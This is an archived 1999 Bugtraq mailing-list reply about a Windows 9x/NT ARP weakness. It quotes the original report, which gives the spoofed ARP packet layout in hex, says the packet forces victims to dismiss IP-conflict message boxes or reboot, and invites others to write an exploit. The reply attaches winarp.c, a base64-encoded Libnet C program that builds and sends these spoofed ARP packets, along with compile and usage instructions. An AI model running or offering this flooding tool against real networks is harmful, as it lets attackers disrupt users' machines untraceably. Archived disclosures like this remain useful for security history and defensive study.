Bugtraq mailing list archives

Re: ARP problem in Windows9X/NT


From: kay () PHREEDOM ORG (kay)
Date: Tue, 13 Apr 1999 11:23:29 +0300


  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime () docserver cac washington edu for more info.

---1463811840-1841922989-923991809=:5859
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hya,

Could you be more specific with those XX-fields ?

I started writing that proggie with plain syscalls, but it would only run
on Linux, so I modified one of the examples in Route's Libnet 0.9 to do
the stuff. I haven't tested it yes since I don't have LAN at home...

Compile with:
  cc winarp.c -o winarp -lnet
Usage:
  ./winarp [-i device] [-c count] -d destination

For those who are still wondering what the hell Libnet is: check out
http://www.infonexus.com/~demon9

--
kay () phreedom org
AD80 0D6A 5286 2729 5D2F  6326 D3F8 C61A 93F4 4C48                   xuniL
DA FA 10 7D  6A 05 45 11  37 E1 E1 2B  B4 34 2E 83                   Zelur

On Mon, 12 Apr 1999, Joel Jacobson wrote:

Hello all bugtraqers!

I've found a problem in Windows9X/NT's way of handeling ARP packets.

If you flood a computer at your LAN with the packet below, it's user
will be forced to click a messagebox's OK button x times, where x is the number
of packets you flooded with.

I advice Microsoft to develope a patch for this problem, that let you
choose to ignore all future messages of this type.

There is no way to trace the flooder since the MAC address in the
packet can be modified to anything. Bad configurated routers will
not drop this packet. When I tested this problem on my LAN I could
flood a computer on another C-net at my LAN without problems.

The program NetXRay was used to preform the flood.
The victims had to reboot their computer, or choose to click _very_
many OK buttons.

The ARP packet is build up like this:

Ethernet Version II:
 Address: XX-XX-XX-XX-XX-XX --->FF-FF-FF-FF-FF-FF
 Ehternet II Protocol Type: ARP
Address Resolution Protocol:
 Hardware Type: 1 (Ethernet)
 Protocol Type: 800
 Hardware Address: Length: 6
 Protocol Address: Length: 4
 Operations: ARP Request
 Source Hardware Address: XX-XX-XX-XX-XX-XX
 IP Source Address: <victim computer's IP>
 Destination Hardware Address: XX-XX-XX-XX-XX-XX
 IP Destination Address: <victim computer's IP>

And in HEX the packet look like this:
ff ff ff ff ff ff 00 00 00 00 00 00 08 06 08 00 06 04 00 01 00 00 00
00 00 00 XX XX XX XX 00 00 00 00 00 00 XX XX XX XX
(XX is what matters here)

Hope a patch for this problem will be developed fast, cause this is a
big problem for my school and probably also to others.

I'm not a C programmer, and don't know how to write an exploit for
this problem. So, if anyone else can develope an exploit, feel free to do so.

Joel Jacobson.

---1463811840-1841922989-923991809=:5859
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="winarp.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.9904131123290.5859 () ns z13 org>
Content-Description:
Content-Disposition: attachment; filename="winarp.c"

LyoNCiAqICBDb3B5cmlnaHQgKGMpIDE5OTgsIDE5OTkgcm91dGV8ZGFlbW9u
OSA8cm91dGVAaW5mb25leHVzLmNvbT4NCiAqICBBbGwgcmlnaHRzIHJlc2Vy
dmVkLg0KICogDQogKiAgTW9kaWZpZWQgdG8gd2luYXJwcy5jIDE5OTkgYnkg
a2F5IDxrYXlAcGhyZWVkb20ub3JnPiANCiAqDQogKiBSZWRpc3RyaWJ1dGlv
biBhbmQgdXNlIGluIHNvdXJjZSBhbmQgYmluYXJ5IGZvcm1zLCB3aXRoIG9y
IHdpdGhvdXQNCiAqIG1vZGlmaWNhdGlvbiwgYXJlIHBlcm1pdHRlZCBwcm92
aWRlZCB0aGF0IHRoZSBmb2xsb3dpbmcgY29uZGl0aW9ucw0KICogYXJlIG1l
dDoNCiAqIDEuIFJlZGlzdHJpYnV0aW9ucyBvZiBzb3VyY2UgY29kZSBtdXN0
IHJldGFpbiB0aGUgYWJvdmUgY29weXJpZ2h0DQogKiAgICBub3RpY2UsIHRo
aXMgbGlzdCBvZiBjb25kaXRpb25zIGFuZCB0aGUgZm9sbG93aW5nIGRpc2Ns
YWltZXIuDQogKiAyLiBSZWRpc3RyaWJ1dGlvbnMgaW4gYmluYXJ5IGZvcm0g
bXVzdCByZXByb2R1Y2UgdGhlIGFib3ZlIGNvcHlyaWdodA0KICogICAgbm90
aWNlLCB0aGlzIGxpc3Qgb2YgY29uZGl0aW9ucyBhbmQgdGhlIGZvbGxvd2lu
ZyBkaXNjbGFpbWVyIGluIHRoZQ0KICogICAgZG9jdW1lbnRhdGlvbiBhbmQv
b3Igb3RoZXIgbWF0ZXJpYWxzIHByb3ZpZGVkIHdpdGggdGhlIGRpc3RyaWJ1
dGlvbi4NCiAqDQogKiBUSElTIFNPRlRXQVJFIElTIFBST1ZJREVEIEJZIFRI
RSBBVVRIT1IgQU5EIENPTlRSSUJVVE9SUyBgYEFTIElTJycgQU5EDQogKiBB
TlkgRVhQUkVTUyBPUiBJTVBMSUVEIFdBUlJBTlRJRVMsIElOQ0xVRElORywg
QlVUIE5PVCBMSU1JVEVEIFRPLCBUSEUNCiAqIElNUExJRUQgV0FSUkFOVElF
UyBPRiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5FU1MgRk9SIEEgUEFSVElD
VUxBUiBQVVJQT1NFDQogKiBBUkUgRElTQ0xBSU1FRC4gIElOIE5PIEVWRU5U
IFNIQUxMIFRIRSBBVVRIT1IgT1IgQ09OVFJJQlVUT1JTIEJFIExJQUJMRQ0K
ICogRk9SIEFOWSBESVJFQ1QsIElORElSRUNULCBJTkNJREVOVEFMLCBTUEVD
SUFMLCBFWEVNUExBUlksIE9SIENPTlNFUVVFTlRJQUwNCiAqIERBTUFHRVMg
KElOQ0xVRElORywgQlVUIE5PVCBMSU1JVEVEIFRPLCBQUk9DVVJFTUVOVCBP
RiBTVUJTVElUVVRFIEdPT0RTDQogKiBPUiBTRVJWSUNFUzsgTE9TUyBPRiBV
U0UsIERBVEEsIE9SIFBST0ZJVFM7IE9SIEJVU0lORVNTIElOVEVSUlVQVElP
TikNCiAqIEhPV0VWRVIgQ0FVU0VEIEFORCBPTiBBTlkgVEhFT1JZIE9GIExJ
QUJJTElUWSwgV0hFVEhFUiBJTiBDT05UUkFDVCwgU1RSSUNUDQogKiBMSUFC
SUxJVFksIE9SIFRPUlQgKElOQ0xVRElORyBORUdMSUdFTkNFIE9SIE9USEVS
V0lTRSkgQVJJU0lORyBJTiBBTlkgV0FZDQogKiBPVVQgT0YgVEhFIFVTRSBP
RiBUSElTIFNPRlRXQVJFLCBFVkVOIElGIEFEVklTRUQgT0YgVEhFIFBPU1NJ
QklMSVRZIE9GDQogKiBTVUNIIERBTUFHRS4NCiAqDQogKi8NCg0KI2luY2x1
ZGUgPGxpYm5ldC5oPg0KDQp1X2NoYXIgZW5ldF9zcmNbNl0gPSB7MHgwMCwg
MHgwMCwgMHgwMCwgMHgwMCwgMHgwMCwgMHgwMH07DQp1X2NoYXIgZW5ldF9k
c3RbNl0gPSB7MHhmZiwgMHhmZiwgMHhmZiwgMHhmZiwgMHhmZiwgMHhmZn07
DQp1X2xvbmcgaXBfZHN0ID0gMDsNCg0Kdm9pZCBzZW5kX2FycChzdHJ1Y3Qg
bGlua19pbnQgKiwgdV9jaGFyICopOw0KDQojaWYgKF9fbGludXhfXykNCiNk
ZWZpbmUgIElQT1BUX1NFQ1VSSVRZICAxMzANCiNlbmRpZg0KDQppbnQgbWFp
bihpbnQgYXJnYywgY2hhciAqYXJndltdKQ0Kew0KICAgaW50IGMsIGNvdW50
ID0gMTsNCiAgIGNoYXIgZXJyYnVmWzI1Nl07DQogICBjaGFyICpkZXZpY2Ug
PSBOVUxMOw0KICAgY2hhciAqYWRkcmVzcyA9IE5VTEw7DQogICBzdHJ1Y3Qg
bGlua19pbnQgKmw7DQoNCiAgIHdoaWxlICgoYyA9IGdldG9wdChhcmdjLCBh
cmd2LCAiaTpkOmM6IikpICE9IEVPRikgew0KICAgICAgc3dpdGNoIChjKSB7
DQogICAgICBjYXNlICdpJzoNCgkgZGV2aWNlID0gb3B0YXJnOw0KCSBicmVh
azsNCiAgICAgIGNhc2UgJ2QnOg0KCSBhZGRyZXNzID0gb3B0YXJnOw0KCSBp
cF9kc3QgPSBuYW1lX3Jlc29sdmUoYWRkcmVzcywgMCk7DQoJIGJyZWFrOw0K
ICAgICAgY2FzZSAnYyc6DQoJIGNvdW50ID0gYXRvaShvcHRhcmcpOw0KCSBi
cmVhazsNCiAgICAgIGRlZmF1bHQ6DQoJIGV4aXQoRVhJVF9GQUlMVVJFKTsN
CiAgICAgIH0NCiAgIH0NCg0KICAgaWYgKCFkZXZpY2UpIHsNCiAgICAgIGZw
cmludGYoc3RkZXJyLCAiU3BlY2lmeSBhIGRldmljZVxuIik7DQogICAgICBl
eGl0KEVYSVRfRkFJTFVSRSk7DQogICB9DQogICBpZiAoIWlwX2RzdCkgew0K
ICAgICAgZnByaW50ZihzdGRlcnIsICJTcGVjaWZ5IGRlc3RpbmF0aW9uXG4i
KTsNCiAgICAgIGV4aXQoRVhJVF9GQUlMVVJFKTsNCiAgIH0NCiAgIGlmICgo
bCA9IG9wZW5fbGlua19pbnRlcmZhY2UoZGV2aWNlLCBlcnJidWYpKSA9PSBO
VUxMKSB7DQogICAgICBmcHJpbnRmKHN0ZGVyciwgIm9wZW5fbGlua19pbnRl
cmZhY2U6ICVzXG4iLCBlcnJidWYpOw0KICAgICAgZXhpdChFWElUX0ZBSUxV
UkUpOw0KICAgfQ0KICAgc2VuZF9hcnAobCwgZGV2aWNlKTsNCiAgIGV4aXQo
RVhJVF9TVUNDRVNTKTsNCn0NCg0KDQp2b2lkIHNlbmRfYXJwKHN0cnVjdCBs
aW5rX2ludCAqbCwgdV9jaGFyICogZGV2aWNlKQ0Kew0KICAgaW50IG47DQog
ICB1X2NoYXIgKmJ1ZjsNCg0KICAgYnVmID0gKHVfY2hhciAqKSBtYWxsb2Mo
QVJQX0ggKyBFVEhfSCk7DQogICBpZiAoIWJ1Zikgew0KICAgICAgcGVycm9y
KCJubyBwYWNrZXQgbWVtb3J5Iik7DQogICAgICBleGl0KEVYSVRfRkFJTFVS
RSk7DQogICB9DQogICBtZW1zZXQoYnVmLCAwLCBBUlBfSCArIEVUSF9IKTsN
Cg0KICAgYnVpbGRfZXRoZXJuZXQoZW5ldF9kc3QsIGVuZXRfc3JjLCBFVEhF
UlRZUEVfQVJQLCBOVUxMLCAwLCBidWYpOw0KICAgYnVpbGRfYXJwKEFSUEhS
RF9FVEhFUiwgRVRIRVJUWVBFX0lQLCA2LCA0LCBBUlBPUF9SRVFVRVNULCBl
bmV0X3NyYywNCgkgICAgICh2b2lkICopJmlwX2RzdCwgZW5ldF9kc3QsICh2
b2lkICopJmlwX2RzdCwgTlVMTCwgMCwgYnVmICsgRVRIX0gpOw0KICAgbiA9
IHdyaXRlX2xpbmtfbGF5ZXIobCwgZGV2aWNlLCBidWYsIEFSUF9IICsgRVRI
X0gpOw0KDQogICBwcmludGYoIldyb3RlICVkIGJ5dGUgQVJQIHBhY2tldCB0
aHJvdWdoIGxpbmt0eXBlICVkXG4iLCBuLCBsLT5saW5rdHlwZSk7DQp9DQo=
---1463811840-1841922989-923991809=:5859--



Current thread: